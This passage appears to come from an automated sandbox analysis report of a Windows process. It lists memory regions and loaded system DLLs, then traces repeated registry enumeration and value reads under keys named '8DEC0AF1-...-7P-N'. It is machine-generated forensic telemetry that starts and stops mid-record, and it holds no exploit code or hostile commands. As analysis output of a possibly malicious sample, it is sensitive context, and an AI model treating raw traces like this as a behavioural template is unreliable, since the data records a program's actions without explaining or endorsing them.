"private_0x000000093f090000" filename = "" Region: id = 10898 start_va = 0x93f0a0000 end_va = 0x93f220fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000093f0a0000" filename = "" Region: id = 10899 start_va = 0x93ed80000 end_va = 0x93ed82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000093ed80000" filename = "" Region: id = 10900 start_va = 0x93ed90000 end_va = 0x93ed90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000093ed90000" filename = "" Region: id = 10901 start_va = 0x93eda0000 end_va = 0x93eda0fff entry_point = 0x0 region_type = private name = "private_0x000000093eda0000" filename = "" Region: id = 10902 start_va = 0x93edb0000 end_va = 0x93edb0fff entry_point = 0x0 region_type = private name = "private_0x000000093edb0000" filename = "" Region: id = 10903 start_va = 0x93f230000 end_va = 0x93f629fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000093f230000" filename = "" Region: id = 10904 start_va = 0x93edc0000 end_va = 0x93edcffff entry_point = 0x0 region_type = private name = "private_0x000000093edc0000" filename = "" Region: id = 10905 start_va = 0x93f630000 end_va = 0x93f6e9fff entry_point = 0x93f65c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 10906 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 10907 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 10908 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 10909 start_va = 0x93f630000 end_va = 0x93f6affff entry_point = 0x0 region_type = private name = "private_0x000000093f630000" filename = "" Region: id = 10910 start_va = 0x93f6b0000 end_va = 0x93f72ffff entry_point = 0x0 region_type = private name = "private_0x000000093f6b0000" filename = "" Region: id = 10911 start_va = 0x7ff6858ba000 end_va = 0x7ff6858bbfff entry_point = 0x0 region_type = private name = "private_0x00007ff6858ba000" filename = "" Region: id = 10912 start_va = 0x7ff6858bc000 end_va = 0x7ff6858bdfff entry_point = 0x0 region_type = private name = "private_0x00007ff6858bc000" filename = "" Region: id = 10913 start_va = 0x93f730000 end_va = 0x93f82ffff entry_point = 0x0 region_type = private name = "private_0x000000093f730000" filename = "" Region: id = 10914 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 10915 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 10916 start_va = 0x93f830000 end_va = 0x93fb04fff entry_point = 0x93f830000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 10917 start_va = 0x93f6b0000 end_va = 0x93f72ffff entry_point = 0x0 region_type = private name = "private_0x000000093f6b0000" filename = "" Region: id = 10918 start_va = 0x7ff6858ba000 end_va = 0x7ff6858bbfff entry_point = 0x0 region_type = private name = "private_0x00007ff6858ba000" filename = "" Region: id = 10960 start_va = 0x7ffd10d40000 end_va = 0x7ffd10d7dfff entry_point = 0x7ffd10d40000 region_type = mapped_file name = "sppwinob.dll" filename = "\\Windows\\System32\\sppwinob.dll" (normalized: "c:\\windows\\system32\\sppwinob.dll") Region: id = 10961 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10962 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10963 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10964 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10965 start_va = 0x7ffd19290000 end_va = 0x7ffd19298fff entry_point = 0x7ffd1929102c region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 10966 start_va = 0x93f060000 end_va = 0x93f06ffff entry_point = 0x0 region_type = private name = "private_0x000000093f060000" filename = "" Region: id = 10967 start_va = 0x93fb10000 end_va = 0x93fc0ffff entry_point = 0x0 region_type = private name = "private_0x000000093fb10000" filename = "" Region: id = 10968 start_va = 0x7ffd10be0000 end_va = 0x7ffd10d3dfff entry_point = 0x7ffd10be0000 region_type = mapped_file name = "sppobjs.dll" filename = "\\Windows\\System32\\sppobjs.dll" (normalized: "c:\\windows\\system32\\sppobjs.dll") Region: id = 10969 start_va = 0x93f070000 end_va = 0x93f07ffff entry_point = 0x0 region_type = private name = "private_0x000000093f070000" filename = "" Region: id = 10970 start_va = 0x93fc10000 end_va = 0x93fc8ffff entry_point = 0x0 region_type = private name = "private_0x000000093fc10000" filename = "" Region: id = 10971 start_va = 0x93fc90000 end_va = 0x93fd0ffff entry_point = 0x0 region_type = private name = "private_0x000000093fc90000" filename = "" Region: id = 10972 start_va = 0x93fd10000 end_va = 0x93fe0ffff entry_point = 0x0 region_type = private name = "private_0x000000093fd10000" filename = "" Region: id = 10973 start_va = 0x7ff6858b6000 end_va = 0x7ff6858b7fff entry_point = 0x0 region_type = private name = "private_0x00007ff6858b6000" filename = "" Region: id = 10974 start_va = 0x7ff6858b8000 end_va = 0x7ff6858b9fff entry_point = 0x0 region_type = private name = "private_0x00007ff6858b8000" filename = "" Region: id = 10975 start_va = 0x93fe10000 end_va = 0x94000ffff entry_point = 0x0 region_type = private name = "private_0x000000093fe10000" filename = "" Region: id = 10976 start_va = 0x940010000 end_va = 0x940117fff entry_point = 0x0 region_type = private name = "private_0x0000000940010000" filename = "" Region: id = 10977 start_va = 0x940120000 end_va = 0x940223fff entry_point = 0x0 region_type = private name = "private_0x0000000940120000" filename = "" Region: id = 10978 start_va = 0x7ffd12e00000 end_va = 0x7ffd12e11fff entry_point = 0x7ffd12e0a7f8 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 10980 start_va = 0x93f080000 end_va = 0x93f080fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000093f080000" filename = "" Region: id = 10981 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 10982 start_va = 0x940010000 end_va = 0x940010fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000940010000" filename = "" Region: id = 10983 start_va = 0x7ffd190d0000 end_va = 0x7ffd1926cfff entry_point = 0x7ffd190d135c region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 10984 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 10989 start_va = 0x940020000 end_va = 0x940021fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000940020000" filename = "" Region: id = 10990 start_va = 0x940030000 end_va = 0x94042ffff entry_point = 0x0 region_type = private name = "private_0x0000000940030000" filename = "" Thread: id = 970 os_tid = 0x884 Thread: id = 972 os_tid = 0x88c [0216.968] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x0, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="478C035F-04BC-48C7-B324-2462D786DAD7-5P-9", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.968] wcsncmp (_String1="478C035F-04BC-48C7-B324-2462D786DAD7-5P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned -4 [0216.968] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x1, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-1", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.969] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.969] _errno () returned 0x93f095490 [0216.971] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-1", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.971] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x70) returned 0x0 [0216.972] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x2, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-10", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.972] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.972] _errno () returned 0x93f095490 [0216.972] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-10", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.972] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.972] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x3, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-11", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.972] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.972] _errno () returned 0x93f095490 [0216.973] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-11", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.973] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.973] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x4, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-12", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.973] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.973] _errno () returned 0x93f095490 [0216.973] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-12", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.973] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x50) returned 0x0 [0216.973] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x5, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-13", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.973] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.974] _errno () returned 0x93f095490 [0216.974] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-13", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.974] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.974] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x6, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-14", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.974] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.974] _errno () returned 0x93f095490 [0216.974] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-14", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.974] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.975] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x7, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-15", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.975] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.975] _errno () returned 0x93f095490 [0216.975] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-15", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.975] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x80) returned 0x0 [0216.975] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x8, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-16", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.975] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.975] _errno () returned 0x93f095490 [0216.976] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-16", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.976] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x80) returned 0x0 [0216.976] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x9, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-17", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.976] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.976] _errno () returned 0x93f095490 [0216.976] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-17", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.976] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.976] RegEnumKeyExW (in: hKey=0x180, dwIndex=0xa, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-18", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.976] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.977] _errno () returned 0x93f095490 [0216.977] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-18", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.977] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.977] RegEnumKeyExW (in: hKey=0x180, dwIndex=0xb, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-19", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.977] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.977] _errno () returned 0x93f095490 [0216.977] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-19", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.977] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x90) returned 0x0 [0216.978] RegEnumKeyExW (in: hKey=0x180, dwIndex=0xc, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-2", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.978] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.978] _errno () returned 0x93f095490 [0216.978] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-2", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.978] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x50) returned 0x0 [0216.978] RegEnumKeyExW (in: hKey=0x180, dwIndex=0xd, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-20", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.978] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.978] _errno () returned 0x93f095490 [0216.978] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-20", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.979] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.979] RegEnumKeyExW (in: hKey=0x180, dwIndex=0xe, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-21", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.979] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.979] _errno () returned 0x93f095490 [0216.979] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-21", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.979] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.979] RegEnumKeyExW (in: hKey=0x180, dwIndex=0xf, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-22", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.979] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.980] _errno () returned 0x93f095490 [0216.980] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-22", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.980] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.980] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x10, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-23", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.980] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.980] _errno () returned 0x93f095490 [0216.980] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-23", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.980] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x50) returned 0x0 [0216.981] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x11, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-24", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.981] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.981] _errno () returned 0x93f095490 [0216.981] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-24", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.981] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: 